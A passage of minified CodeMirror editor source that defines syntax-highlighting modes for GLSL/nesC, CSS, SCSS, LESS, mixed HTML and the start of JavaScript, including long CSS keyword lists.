gl_ClipVertex gl_FrontColor gl_BackColor gl_FrontSecondaryColor gl_BackSecondaryColor gl_TexCoord gl_FogFragCoord gl_FragCoord gl_FrontFacing gl_FragColor gl_FragData gl_FragDepth gl_ModelViewMatrix gl_ProjectionMatrix gl_ModelViewProjectionMatrix gl_TextureMatrix gl_NormalMatrix gl_ModelViewMatrixInverse gl_ProjectionMatrixInverse gl_ModelViewProjectionMatrixInverse gl_TexureMatrixTranspose gl_ModelViewMatrixInverseTranspose gl_ProjectionMatrixInverseTranspose gl_ModelViewProjectionMatrixInverseTranspose gl_TextureMatrixInverseTranspose gl_NormalScale gl_DepthRange gl_ClipPlane gl_Point gl_FrontMaterial gl_BackMaterial gl_LightSource gl_LightModel gl_FrontLightModelProduct gl_BackLightModelProduct gl_TextureColor gl_EyePlaneS gl_EyePlaneT gl_EyePlaneR gl_EyePlaneQ gl_FogParameters gl_MaxLights gl_MaxClipPlanes gl_MaxTextureUnits gl_MaxTextureCoords gl_MaxVertexAttribs gl_MaxVertexUniformComponents gl_MaxVaryingFloats gl_MaxVertexTextureImageUnits gl_MaxTextureImageUnits gl_MaxFragmentUniformComponents gl_MaxCombineTextureImageUnits gl_MaxDrawBuffers"),hooks:{"#":d},modeProps:{fold:["brace","include"]}}),h("text/x-nesc",{name:"clike",keywords:b(c+"as atomic async call command component components configuration event generic "+"implementation includes interface module new norace nx_struct nx_union post provides "+"signal task uses abstract extends"),blockKeywords:b("case do else for if switch while struct"),atoms:b("null"),hooks:{"#":d},modeProps:{fold:["brace","include"]}})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function b(a){for(var b={},c=0;c<a.length;++c)b[a[c]]=!0;return b}function r(a,b){for(var d,c=!1;null!=(d=a.next());){if(c&&"/"==d){b.tokenize=null;break}c="*"==d}return["comment","comment"]}function s(a,b){return a.skipTo("-->")?(a.match("-->"),b.tokenize=null):a.skipToEnd(),["comment","comment"]}a.defineMode("css",function(b,c){function p(a,b){return n=b,a}function q(a,b){var c=a.next();if(e[c]){var d=e[c](a,b);if(d!==!1)return d}return"@"==c?(a.eatWhile(/[\w\\\-]/),p("def",a.current())):"="==c||("~"==c||"|"==c)&&a.eat("=")?p(null,"compare"):'"'==c||"'"==c?(b.tokenize=r(c),b.tokenize(a,b)):"#"==c?(a.eatWhile(/[\w\\\-]/),p("atom","hash")):"!"==c?(a.match(/^\s*\w*/),p("keyword","important")):/\d/.test(c)||"."==c&&a.eat(/\d/)?(a.eatWhile(/[\w.%]/),p("number","unit")):"-"!==c?/[,+>*\/]/.test(c)?p(null,"select-op"):"."==c&&a.match(/^-?[_a-z][_a-z0-9-]*/i)?p("qualifier","qualifier"):/[:;{}\[\]\(\)]/.test(c)?p(null,c):"u"==c&&a.match("rl(")?(a.backUp(1),b.tokenize=s,p("property","word")):/[\w\\\-]/.test(c)?(a.eatWhile(/[\w\\\-]/),p("property","word")):p(null,null):/[\d.]/.test(a.peek())?(a.eatWhile(/[\w.%]/),p("number","unit")):a.match(/^\w+-/)?p("meta","meta"):void 0}function r(a){return function(b,c){for(var e,d=!1;null!=(e=b.next());){if(e==a&&!d){")"==a&&b.backUp(1);break}d=!d&&"\\"==e}return(e==a||!d&&")"!=a)&&(c.tokenize=null),p("string","string")}}function s(a,b){return a.next(),b.tokenize=a.match(/\s*[\"\')]/,!1)?null:r(")"),p(null,"(")}function t(a,b,c){this.type=a,this.indent=b,this.prev=c}function u(a,b,c){return a.context=new t(c,b.indentation()+d,a.context),c}function v(a){return a.context=a.context.prev,a.context.type}function w(a,b,c){return z[c.context.type](a,b,c)}function x(a,b,c,d){for(var e=d||1;e>0;e--)c.context=c.context.prev;return w(a,b,c)}function y(a){var b=a.current().toLowerCase();o=k.hasOwnProperty(b)?"atom":j.hasOwnProperty(b)?"keyword":"variable"}c.propertyKeywords||(c=a.resolveMode("text/css"));var n,o,d=b.indentUnit,e=c.tokenHooks,f=c.mediaTypes||{},g=c.mediaFeatures||{},h=c.propertyKeywords||{},i=c.nonStandardPropertyKeywords||{},j=c.colorKeywords||{},k=c.valueKeywords||{},l=c.fontProperties||{},m=c.allowNested,z={};return z.top=function(a,b,c){if("{"==a)return u(c,b,"block");if("}"==a&&c.context.prev)return v(c);if("@media"==a)return u(c,b,"media");if("@font-face"==a)return"font_face_before";if(/^@(-(moz|ms|o|webkit)-)?keyframes$/.test(a))return"keyframes";if(a&&"@"==a.charAt(0))return u(c,b,"at");if("hash"==a)o="builtin";else if("word"==a)o="tag";else{if("variable-definition"==a)return"maybeprop";if("interpolation"==a)return u(c,b,"interpolation");if(":"==a)return"pseudo";if(m&&"("==a)return u(c,b,"parens")}return c.context.type},z.block=function(a,b,c){if("word"==a){var d=b.current().toLowerCase();return h.hasOwnProperty(d)?(o="property","maybeprop"):i.hasOwnProperty(d)?(o="string-2","maybeprop"):m?(o=b.match(/^\s*:/,!1)?"property":"tag","block"):(o+=" error","maybeprop")}return"meta"==a?"block":m||"hash"!=a&&"qualifier"!=a?z.top(a,b,c):(o="error","block")},z.maybeprop=function(a,b,c){return":"==a?u(c,b,"prop"):w(a,b,c)},z.prop=function(a,b,c){if(";"==a)return v(c);if("{"==a&&m)return u(c,b,"propBlock");if("}"==a||"{"==a)return x(a,b,c);if("("==a)return u(c,b,"parens");if("hash"!=a||/^#([0-9a-fA-f]{3}|[0-9a-fA-f]{6})$/.test(b.current())){if("word"==a)y(b);else if("interpolation"==a)return u(c,b,"interpolation")}else o+=" error";return"prop"},z.propBlock=function(a,b,c){return"}"==a?v(c):"word"==a?(o="property","maybeprop"):c.context.type},z.parens=function(a,b,c){return"{"==a||"}"==a?x(a,b,c):")"==a?v(c):"("==a?u(c,b,"parens"):("word"==a&&y(b),"parens")},z.pseudo=function(a,b,c){return"word"==a?(o="variable-3",c.context.type):w(a,b,c)},z.media=function(a,b,c){if("("==a)return u(c,b,"media_parens");if("}"==a)return x(a,b,c);if("{"==a)return v(c)&&u(c,b,m?"block":"top");if("word"==a){var d=b.current().toLowerCase();o="only"==d||"not"==d||"and"==d?"keyword":f.hasOwnProperty(d)?"attribute":g.hasOwnProperty(d)?"property":"error"}return c.context.type},z.media_parens=function(a,b,c){return")"==a?v(c):"{"==a||"}"==a?x(a,b,c,2):z.media(a,b,c)},z.font_face_before=function(a,b,c){return"{"==a?u(c,b,"font_face"):w(a,b,c)},z.font_face=function(a,b,c){return"}"==a?v(c):"word"==a?(o=l.hasOwnProperty(b.current().toLowerCase())?"property":"error","maybeprop"):"font_face"},z.keyframes=function(a,b,c){return"word"==a?(o="variable","keyframes"):"{"==a?u(c,b,"top"):w(a,b,c)},z.at=function(a,b,c){return";"==a?v(c):"{"==a||"}"==a?x(a,b,c):("word"==a?o="tag":"hash"==a&&(o="builtin"),"at")},z.interpolation=function(a,b,c){return"}"==a?v(c):"{"==a||";"==a?x(a,b,c):("variable"!=a&&(o="error"),"interpolation")},{startState:function(a){return{tokenize:null,state:"top",context:new t("top",a||0,null)}},token:function(a,b){if(!b.tokenize&&a.eatSpace())return null;var c=(b.tokenize||q)(a,b);return c&&"object"==typeof c&&(n=c[1],c=c[0]),o=c,b.state=z[b.state](n,a,b),o},indent:function(a,b){var c=a.context,e=b&&b.charAt(0),f=c.indent;return"prop"!=c.type||"}"!=e&&")"!=e||(c=c.prev),!c.prev||("}"!=e||"block"!=c.type&&"top"!=c.type&&"interpolation"!=c.type&&"font_face"!=c.type)&&(")"!=e||"parens"!=c.type&&"media_parens"!=c.type)&&("{"!=e||"at"!=c.type&&"media"!=c.type)||(f=c.indent-d,c=c.prev),f},electricChars:"}",blockCommentStart:"/*",blockCommentEnd:"*/",fold:"brace"}});var c=["all","aural","braille","handheld","print","projection","screen","tty","tv","embossed"],d=b(c),e=["width","min-width","max-width","height","min-height","max-height","device-width","min-device-width","max-device-width","device-height","min-device-height","max-device-height","aspect-ratio","min-aspect-ratio","max-aspect-ratio","device-aspect-ratio","min-device-aspect-ratio","max-device-aspect-ratio","color","min-color","max-color","color-index","min-color-index","max-color-index","monochrome","min-monochrome","max-monochrome","resolution","min-resolution","max-resolution","scan","grid"],f=b(e),g=["align-content","align-items","align-self","alignment-adjust","alignment-baseline","anchor-point","animation","animation-delay","animation-direction","animation-duration","animation-fill-mode","animation-iteration-count","animation-name","animation-play-state","animation-timing-function","appearance","azimuth","backface-visibility","background","background-attachment","background-clip","background-color","background-image","background-origin","background-position","background-repeat","background-size","baseline-shift","binding","bleed","bookmark-label","bookmark-level","bookmark-state","bookmark-target","border","border-bottom","border-bottom-color","border-bottom-left-radius","border-bottom-right-radius","border-bottom-style","border-bottom-width","border-collapse","border-color","border-image","border-image-outset","border-image-repeat","border-image-slice","border-image-source","border-image-width","border-left","border-left-color","border-left-style","border-left-width","border-radius","border-right","border-right-color","border-right-style","border-right-width","border-spacing","border-style","border-top","border-top-color","border-top-left-radius","border-top-right-radius","border-top-style","border-top-width","border-width","bottom","box-decoration-break","box-shadow","box-sizing","break-after","break-before","break-inside","caption-side","clear","clip","color","color-profile","column-count","column-fill","column-gap","column-rule","column-rule-color","column-rule-style","column-rule-width","column-span","column-width","columns","content","counter-increment","counter-reset","crop","cue","cue-after","cue-before","cursor","direction","display","dominant-baseline","drop-initial-after-adjust","drop-initial-after-align","drop-initial-before-adjust","drop-initial-before-align","drop-initial-size","drop-initial-value","elevation","empty-cells","fit","fit-position","flex","flex-basis","flex-direction","flex-flow","flex-grow","flex-shrink","flex-wrap","float","float-offset","flow-from","flow-into","font","font-feature-settings","font-family","font-kerning","font-language-override","font-size","font-size-adjust","font-stretch","font-style","font-synthesis","font-variant","font-variant-alternates","font-variant-caps","font-variant-east-asian","font-variant-ligatures","font-variant-numeric","font-variant-position","font-weight","grid","grid-area","grid-auto-columns","grid-auto-flow","grid-auto-position","grid-auto-rows","grid-column","grid-column-end","grid-column-start","grid-row","grid-row-end","grid-row-start","grid-template","grid-template-areas","grid-template-columns","grid-template-rows","hanging-punctuation","height","hyphens","icon","image-orientation","image-rendering","image-resolution","inline-box-align","justify-content","left","letter-spacing","line-break","line-height","line-stacking","line-stacking-ruby","line-stacking-shift","line-stacking-strategy","list-style","list-style-image","list-style-position","list-style-type","margin","margin-bottom","margin-left","margin-right","margin-top","marker-offset","marks","marquee-direction","marquee-loop","marquee-play-count","marquee-speed","marquee-style","max-height","max-width","min-height","min-width","move-to","nav-down","nav-index","nav-left","nav-right","nav-up","object-fit","object-position","opacity","order","orphans","outline","outline-color","outline-offset","outline-style","outline-width","overflow","overflow-style","overflow-wrap","overflow-x","overflow-y","padding","padding-bottom","padding-left","padding-right","padding-top","page","page-break-after","page-break-before","page-break-inside","page-policy","pause","pause-after","pause-before","perspective","perspective-origin","pitch","pitch-range","play-during","position","presentation-level","punctuation-trim","quotes","region-break-after","region-break-before","region-break-inside","region-fragment","rendering-intent","resize","rest","rest-after","rest-before","richness","right","rotation","rotation-point","ruby-align","ruby-overhang","ruby-position","ruby-span","shape-image-threshold","shape-inside","shape-margin","shape-outside","size","speak","speak-as","speak-header","speak-numeral","speak-punctuation","speech-rate","stress","string-set","tab-size","table-layout","target","target-name","target-new","target-position","text-align","text-align-last","text-decoration","text-decoration-color","text-decoration-line","text-decoration-skip","text-decoration-style","text-emphasis","text-emphasis-color","text-emphasis-position","text-emphasis-style","text-height","text-indent","text-justify","text-outline","text-overflow","text-shadow","text-size-adjust","text-space-collapse","text-transform","text-underline-position","text-wrap","top","transform","transform-origin","transform-style","transition","transition-delay","transition-duration","transition-property","transition-timing-function","unicode-bidi","vertical-align","visibility","voice-balance","voice-duration","voice-family","voice-pitch","voice-range","voice-rate","voice-stress","voice-volume","volume","white-space","widows","width","word-break","word-spacing","word-wrap","z-index","clip-path","clip-rule","mask","enable-background","filter","flood-color","flood-opacity","lighting-color","stop-color","stop-opacity","pointer-events","color-interpolation","color-interpolation-filters","color-rendering","fill","fill-opacity","fill-rule","image-rendering","marker","marker-end","marker-mid","marker-start","shape-rendering","stroke","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke-width","text-rendering","baseline-shift","dominant-baseline","glyph-orientation-horizontal","glyph-orientation-vertical","text-anchor","writing-mode"],h=b(g),i=["scrollbar-arrow-color","scrollbar-base-color","scrollbar-dark-shadow-color","scrollbar-face-color","scrollbar-highlight-color","scrollbar-shadow-color","scrollbar-3d-light-color","scrollbar-track-color","shape-inside","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","zoom"],j=b(i),k=["aliceblue","antiquewhite","aqua","aquamarine","azure","beige","bisque","black","blanchedalmond","blue","blueviolet","brown","burlywood","cadetblue","chartreuse","chocolate","coral","cornflowerblue","cornsilk","crimson","cyan","darkblue","darkcyan","darkgoldenrod","darkgray","darkgreen","darkkhaki","darkmagenta","darkolivegreen","darkorange","darkorchid","darkred","darksalmon","darkseagreen","darkslateblue","darkslategray","darkturquoise","darkviolet","deeppink","deepskyblue","dimgray","dodgerblue","firebrick","floralwhite","forestgreen","fuchsia","gainsboro","ghostwhite","gold","goldenrod","gray","grey","green","greenyellow","honeydew","hotpink","indianred","indigo","ivory","khaki","lavender","lavenderblush","lawngreen","lemonchiffon","lightblue","lightcoral","lightcyan","lightgoldenrodyellow","lightgray","lightgreen","lightpink","lightsalmon","lightseagreen","lightskyblue","lightslategray","lightsteelblue","lightyellow","lime","limegreen","linen","magenta","maroon","mediumaquamarine","mediumblue","mediumorchid","mediumpurple","mediumseagreen","mediumslateblue","mediumspringgreen","mediumturquoise","mediumvioletred","midnightblue","mintcream","mistyrose","moccasin","navajowhite","navy","oldlace","olive","olivedrab","orange","orangered","orchid","palegoldenrod","palegreen","paleturquoise","palevioletred","papayawhip","peachpuff","peru","pink","plum","powderblue","purple","rebeccapurple","red","rosybrown","royalblue","saddlebrown","salmon","sandybrown","seagreen","seashell","sienna","silver","skyblue","slateblue","slategray","snow","springgreen","steelblue","tan","teal","thistle","tomato","turquoise","violet","wheat","white","whitesmoke","yellow","yellowgreen"],l=b(k),m=["above","absolute","activeborder","activecaption","afar","after-white-space","ahead","alias","all","all-scroll","alternate","always","amharic","amharic-abegede","antialiased","appworkspace","arabic-indic","armenian","asterisks","auto","avoid","avoid-column","avoid-page","avoid-region","background","backwards","baseline","below","bidi-override","binary","bengali","blink","block","block-axis","bold","bolder","border","border-box","both","bottom","break","break-all","break-word","button","button-bevel","buttonface","buttonhighlight","buttonshadow","buttontext","cambodian","capitalize","caps-lock-indicator","caption","captiontext","caret","cell","center","checkbox","circle","cjk-earthly-branch","cjk-heavenly-stem","cjk-ideographic","clear","clip","close-quote","col-resize","collapse","column","compact","condensed","contain","content","content-box","context-menu","continuous","copy","cover","crop","cross","crosshair","currentcolor","cursive","dashed","decimal","decimal-leading-zero","default","default-button","destination-atop","destination-in","destination-out","destination-over","devanagari","disc","discard","document","dot-dash","dot-dot-dash","dotted","double","down","e-resize","ease","ease-in","ease-in-out","ease-out","element","ellipse","ellipsis","embed","end","ethiopic","ethiopic-abegede","ethiopic-abegede-am-et","ethiopic-abegede-gez","ethiopic-abegede-ti-er","ethiopic-abegede-ti-et","ethiopic-halehame-aa-er","ethiopic-halehame-aa-et","ethiopic-halehame-am-et","ethiopic-halehame-gez","ethiopic-halehame-om-et","ethiopic-halehame-sid-et","ethiopic-halehame-so-et","ethiopic-halehame-ti-er","ethiopic-halehame-ti-et","ethiopic-halehame-tig","ew-resize","expanded","extra-condensed","extra-expanded","fantasy","fast","fill","fixed","flat","footnotes","forwards","from","geometricPrecision","georgian","graytext","groove","gujarati","gurmukhi","hand","hangul","hangul-consonant","hebrew","help","hidden","hide","higher","highlight","highlighttext","hiragana","hiragana-iroha","horizontal","hsl","hsla","icon","ignore","inactiveborder","inactivecaption","inactivecaptiontext","infinite","infobackground","infotext","inherit","initial","inline","inline-axis","inline-block","inline-table","inset","inside","intrinsic","invert","italic","justify","kannada","katakana","katakana-iroha","keep-all","khmer","landscape","lao","large","larger","left","level","lighter","line-through","linear","lines","list-item","listbox","listitem","local","logical","loud","lower","lower-alpha","lower-armenian","lower-greek","lower-hexadecimal","lower-latin","lower-norwegian","lower-roman","lowercase","ltr","malayalam","match","media-controls-background","media-current-time-display","media-fullscreen-button","media-mute-button","media-play-button","media-return-to-realtime-button","media-rewind-button","media-seek-back-button","media-seek-forward-button","media-slider","media-sliderthumb","media-time-remaining-display","media-volume-slider","media-volume-slider-container","media-volume-sliderthumb","medium","menu","menulist","menulist-button","menulist-text","menulist-textfield","menutext","message-box","middle","min-intrinsic","mix","mongolian","monospace","move","multiple","myanmar","n-resize","narrower","ne-resize","nesw-resize","no-close-quote","no-drop","no-open-quote","no-repeat","none","normal","not-allowed","nowrap","ns-resize","nw-resize","nwse-resize","oblique","octal","open-quote","optimizeLegibility","optimizeSpeed","oriya","oromo","outset","outside","outside-shape","overlay","overline","padding","padding-box","painted","page","paused","persian","plus-darker","plus-lighter","pointer","polygon","portrait","pre","pre-line","pre-wrap","preserve-3d","progress","push-button","radio","read-only","read-write","read-write-plaintext-only","rectangle","region","relative","repeat","repeat-x","repeat-y","reset","reverse","rgb","rgba","ridge","right","round","row-resize","rtl","run-in","running","s-resize","sans-serif","scroll","scrollbar","se-resize","searchfield","searchfield-cancel-button","searchfield-decoration","searchfield-results-button","searchfield-results-decoration","semi-condensed","semi-expanded","separate","serif","show","sidama","single","skip-white-space","slide","slider-horizontal","slider-vertical","sliderthumb-horizontal","sliderthumb-vertical","slow","small","small-caps","small-caption","smaller","solid","somali","source-atop","source-in","source-out","source-over","space","square","square-button","start","static","status-bar","stretch","stroke","sub","subpixel-antialiased","super","sw-resize","table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row","table-row-group","telugu","text","text-bottom","text-top","textarea","textfield","thai","thick","thin","threeddarkshadow","threedface","threedhighlight","threedlightshadow","threedshadow","tibetan","tigre","tigrinya-er","tigrinya-er-abegede","tigrinya-et","tigrinya-et-abegede","to","top","transparent","ultra-condensed","ultra-expanded","underline","up","upper-alpha","upper-armenian","upper-greek","upper-hexadecimal","upper-latin","upper-norwegian","upper-roman","uppercase","urdu","url","vertical","vertical-text","visible","visibleFill","visiblePainted","visibleStroke","visual","w-resize","wait","wave","wider","window","windowframe","windowtext","x-large","x-small","xor","xx-large","xx-small"],n=b(m),o=["font-family","src","unicode-range","font-variant","font-feature-settings","font-stretch","font-weight","font-style"],p=b(o),q=c.concat(e).concat(g).concat(i).concat(k).concat(m);
a.registerHelper("hintWords","css",q),a.defineMIME("text/css",{mediaTypes:d,mediaFeatures:f,propertyKeywords:h,nonStandardPropertyKeywords:j,colorKeywords:l,valueKeywords:n,fontProperties:p,tokenHooks:{"<":function(a,b){return a.match("!--")?(b.tokenize=s,s(a,b)):!1},"/":function(a,b){return a.eat("*")?(b.tokenize=r,r(a,b)):!1}},name:"css"}),a.defineMIME("text/x-scss",{mediaTypes:d,mediaFeatures:f,propertyKeywords:h,nonStandardPropertyKeywords:j,colorKeywords:l,valueKeywords:n,fontProperties:p,allowNested:!0,tokenHooks:{"/":function(a,b){return a.eat("/")?(a.skipToEnd(),["comment","comment"]):a.eat("*")?(b.tokenize=r,r(a,b)):["operator","operator"]},":":function(a){return a.match(/\s*\{/)?[null,"{"]:!1},$:function(a){return a.match(/^[\w-]+/),a.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"]},"#":function(a){return a.eat("{")?[null,"interpolation"]:!1}},name:"css",helperType:"scss"}),a.defineMIME("text/x-less",{mediaTypes:d,mediaFeatures:f,propertyKeywords:h,nonStandardPropertyKeywords:j,colorKeywords:l,valueKeywords:n,fontProperties:p,allowNested:!0,tokenHooks:{"/":function(a,b){return a.eat("/")?(a.skipToEnd(),["comment","comment"]):a.eat("*")?(b.tokenize=r,r(a,b)):["operator","operator"]},"@":function(a){return a.match(/^(charset|document|font-face|import|(-(moz|ms|o|webkit)-)?keyframes|media|namespace|page|supports)\b/,!1)?!1:(a.eatWhile(/[\w\\\-]/),a.match(/^\s*:/,!1)?["variable-2","variable-definition"]:["variable-2","variable"])},"&":function(){return["atom","atom"]}},name:"css",helperType:"less"})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror"),require("../xml/xml"),require("../javascript/javascript"),require("../css/css")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","../xml/xml","../javascript/javascript","../css/css"],a):a(CodeMirror)}(function(a){"use strict";a.defineMode("htmlmixed",function(b,c){function j(a,b){var c=b.htmlState.tagName;c&&(c=c.toLowerCase());var g=d.token(a,b.htmlState);if("script"==c&&/\btag\b/.test(g)&&">"==a.current()){var h=a.string.slice(Math.max(0,a.pos-100),a.pos).match(/\btype\s*=\s*("[^"]+"|'[^']+'|\S+)[^<]*$/i);h=h?h[1]:"",h&&/[\"\']/.test(h.charAt(0))&&(h=h.slice(1,h.length-1));for(var i=0;i<f.length;++i){var j=f[i];if("string"==typeof j.matches?h==j.matches:j.matches.test(h)){j.mode&&(b.token=l,b.localMode=j.mode,b.localState=j.mode.startState&&j.mode.startState(d.indent(b.htmlState,"")));break}}}else"style"==c&&/\btag\b/.test(g)&&">"==a.current()&&(b.token=m,b.localMode=e,b.localState=e.startState(d.indent(b.htmlState,"")));return g}function k(a,b,c){var f,d=a.current(),e=d.search(b);return e>-1?a.backUp(d.length-e):(f=d.match(/<\/?$/))&&(a.backUp(d.length),a.match(b,!1)||a.match(d)),c}function l(a,b){return a.match(/^<\/\s*script\s*>/i,!1)?(b.token=j,b.localState=b.localMode=null,j(a,b)):k(a,/<\/\s*script\s*>/,b.localMode.token(a,b.localState))}function m(a,b){return a.match(/^<\/\s*style\s*>/i,!1)?(b.token=j,b.localState=b.localMode=null,j(a,b)):k(a,/<\/\s*style\s*>/,e.token(a,b.localState))}var d=a.getMode(b,{name:"xml",htmlMode:!0,multilineTagIndentFactor:c.multilineTagIndentFactor,multilineTagIndentPastTag:c.multilineTagIndentPastTag}),e=a.getMode(b,"css"),f=[],g=c&&c.scriptTypes;if(f.push({matches:/^(?:text|application)\/(?:x-)?(?:java|ecma)script$|^$/i,mode:a.getMode(b,"javascript")}),g)for(var h=0;h<g.length;++h){var i=g[h];f.push({matches:i.matches,mode:i.mode&&a.getMode(b,i.mode)})}return f.push({matches:/./,mode:a.getMode(b,"text/plain")}),{startState:function(){var a=d.startState();return{token:j,localMode:null,localState:null,htmlState:a}},copyState:function(b){if(b.localState)var c=a.copyState(b.localMode,b.localState);return{token:b.token,localMode:b.localMode,localState:c,htmlState:a.copyState(d,b.htmlState)}},token:function(a,b){return b.token(a,b)},indent:function(b,c){return!b.localMode||/^\s*<\//.test(c)?d.indent(b.htmlState,c):b.localMode.indent?b.localMode.indent(b.localState,c):a.Pass},innerMode:function(a){return{state:a.localState||a.htmlState,mode:a.localMode||d}}}},"xml","javascript","css"),a.defineMIME("text/html","htmlmixed")}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";a.defineMode("javascript",function(b,c){function m(a){for(var c,b=!1,d=!1;null!=(c=a.next());){if(!b){if("/"==c&&!d)return;"["==c?d=!0:d&&"]"==c&&(d=!1)}b=!b&&"\\"==c}}function p(a,b,c){return n=a,o=c,b}function q(a,b){var c=a.next();if('"'==c||"'"==c)return b.tokenize=r(c),b.tokenize(a,b);if("."==c&&a.match(/^\d+(?:[eE][+\-]?\d+)?/))return p("number","number");if("."==c&&a.match(".."))return p("spread","meta");if(/[\[\]{}\(\),;\:\.]/.test(c))return p(c);if("="==c&&a.eat(">"))return p("=>","operator");if("0"==c&&a.eat(/x/i))return a.eatWhile(/[\da-f]/i),p("number","number");if(/\d/.test(c))return a.match(/^\d*(?:\.\d*)?(?:[eE][+\-]?\d+)?/),p("number","number");if("/"==c)return a.eat("*")?(b.tokenize=s,s(a,b)):a.eat("/")?(a.skipToEnd(),p("comment","comment")):"operator"==b.lastType||"keyword c"==b.lastType||"sof"==b.lastType||/^[\[{}\(,;:]$/.test(b.lastType)?(m(a),a.eatWhile(/[gimy]/),p("regexp","string-2")):(a.eatWhile(k),p("operator","operator",a.current()));if("`"==c)return b.tokenize=t,t(a,b);if("#"==c)return a.skipToEnd(),p("error","error");if(k.test(c))return a.eatWhile(k),p("operator","operator",a.current());if(i.test(c)){a.eatWhile(i);var d=a.current(),e=j.propertyIsEnumerable(d)&&j[d];return e&&"."!=b.lastType?p(e.type,e.style,d):p("variable","variable",d)}}function r(a){return function(b,c){var e,d=!1;if(f&&"@"==b.peek()&&b.match(l))return c.tokenize=q,p("jsonld-keyword","meta");for(;null!=(e=b.next())&&(e!=a||d);)d=!d&&"\\"==e;return d||(c.tokenize=q),p("string","string")}}function s(a,b){for(var d,c=!1;d=a.next();){if("/"==d&&c){b.tokenize=q;break}c="*"==d}return p("comment","comment")}function t(a,b){for(var d,c=!1;null!=(d=a.next());){if(!c&&("`"==d||"$"==d&&a.eat("{"))){b.tokenize=q;break}c=!c&&"\\"==d}return p("quasi","string-2",a.current())}function v(a,b){b.fatArrowAt&&(b.fatArrowAt=null);var c=a.string.indexOf("=>",a.start);if(!(0>c)){for(var d=0,e=!1,f=c-1;f>=0;--f){var g=a.string.charAt(f),h=u.indexOf(g);if(h>=0&&3>h){if(!d){++f;break}if(0==--d)break}else if(h>=3&&6>h)++d;else if(i.test(g))e=!0;else if(e&&!d){++f;break}}e&&!d&&(b.fatArrowAt=f)}}function x(a,b,c,d,e,f){this.indented=a,this.column=b,this.type=c,this.prev=e,this.info=f,null!=d&&(this.align=d)}function y(a,b){for(var c=a.localVars;c;c=c.next)if(c.name==b)return!0;for(var d=a.context;d;d=d.prev)for(var c=d.vars;c;c=c.next)if(c.name==b)return!0}function z(a,b,c,d,e){var f=a.cc;for(A.state=a,A.stream=e,A.marked=null,A.cc=f,A.style=b,a.lexical.hasOwnProperty("align")||(a.lexical.align=!0);;){var h=f.length?f.pop():g?L:K;if(h(c,d)){for(;f.length&&f[f.length-1].lex;)f.pop()();return A.marked?A.marked:"variable"==c&&y(a,d)?"variable-2":b}}}function B(){for(var a=arguments.length-1;a>=0;a--)A.cc.push(arguments[a])}function C(){return B.apply(null,arguments),!0}function D(a){function b(b){for(var c=b;c;c=c.next)if(c.name==a)return!0;return!1}var d=A.state;if(d.context){if(A.marked="def",b(d.localVars))return;d.localVars={name:a,next:d.localVars}}else{if(b(d.globalVars))return;c.globalVars&&(d.globalVars={name:a,next:d.globalVars})}}function F(){A.state.context={prev:A.state.context,vars:A.state.localVars},A.state.localVars=E}function G(){A.state.localVars=A.state.context.vars,A.state.context=A.state.context.prev}function H(a,b){var c=function(){var c=A.state,d=c.indented;if("stat"==c.lexical.type)d=c.lexical.indented;else for(var e=c.lexical;e&&")"==e.type&&e.align;e=e.prev)d=e.indented;c.lexical=new x(d,A.stream.column(),a,null,c.lexical,b)};return c.lex=!0,c}function I(){var a=A.state;a.lexical.prev&&(")"==a.lexical.type&&(a.indented=a.lexical.indented),a.lexical=a.lexical.prev)}function J(a){function b(c){return c==a?C():";"==a?B():C(b)}return b}function K(a,b){return"var"==a?C(H("vardef",b.length),eb,J(";"),I):"keyword a"==a?C(H("form"),L,K,I):"keyword b"==a?C(H("form"),K,I):"{"==a?C(H("}"),bb,I):";"==a?C():"if"==a?("else"==A.state.lexical.info&&A.state.cc[A.state.cc.length-1]==I&&A.state.cc.pop()(),C(H("form"),L,K,I,jb)):"function"==a?C(pb):"for"==a?C(H("form"),kb,K,I):"variable"==a?C(H("stat"),W):"switch"==a?C(H("form"),L,H("}","switch"),J("{"),bb,I,I):"case"==a?C(L,J(":")):"default"==a?C(J(":")):"catch"==a?C(H("form"),F,J("("),qb,J(")"),K,I,G):"module"==a?C(H("form"),F,vb,G,I):"class"==a?C(H("form"),rb,I):"export"==a?C(H("form"),wb,I):"import"==a?C(H("form"),xb,I):B(H("stat"),L,J(";"),I)}function L(a){return N(a,!1)}function M(a){return N(a,!0)}function N(a,b){if(A.state.fatArrowAt==A.stream.start){var c=b?V:U;if("("==a)return C(F,H(")"),_(fb,")"),I,J("=>"),c,G);if("variable"==a)return B(F,fb,J("=>"),c,G)}var d=b?R:Q;return w.hasOwnProperty(a)?C(d):"function"==a?C(pb,d):"keyword c"==a?C(b?P:O):"("==a?C(H(")"),O,Cb,J(")"),I,d):"operator"==a||"spread"==a?C(b?M:L):"["==a?C(H("]"),Ab,I,d):"{"==a?ab(Y,"}",null,d):"quasi"==a?B(S,d):C()}function O(a){return a.match(/[;\}\)\],]/)?B():B(L)}function P(a){return a.match(/[;\}\)\],]/)?B():B(M)}function Q(a,b){return","==a?C(L):R(a,b,!1)}function R(a,b,c){var d=0==c?Q:R,e=0==c?L:M;return"=>"==a?C(F,c?V:U,G):"operator"==a?/\+\+|--/.test(b)?C(d):"?"==b?C(L,J(":"),e):C(e):"quasi"==a?B(S,d):";"!=a?"("==a?ab(M,")","call",d):"."==a?C(X,d):"["==a?C(H("]"),O,J("]"),I,d):void 0:void 0}function S(a,b){return"quasi"!=a?B():"${"!=b.slice(b.length-2)?C(S):C(L,T)}function T(a){return"}"==a?(A.marked="string-2",A.state.tokenize=t,C(S)):void 0}function U(a){return v(A.stream,A.state),B("{"==a?K:L)}function V(a){return v(A.stream,A.state),B("{"==a?K:M)}function W(a){return":"==a?C(I,K):B(Q,J(";"),I)}function X(a){return"variable"==a?(A.marked="property",C()):void 0}function 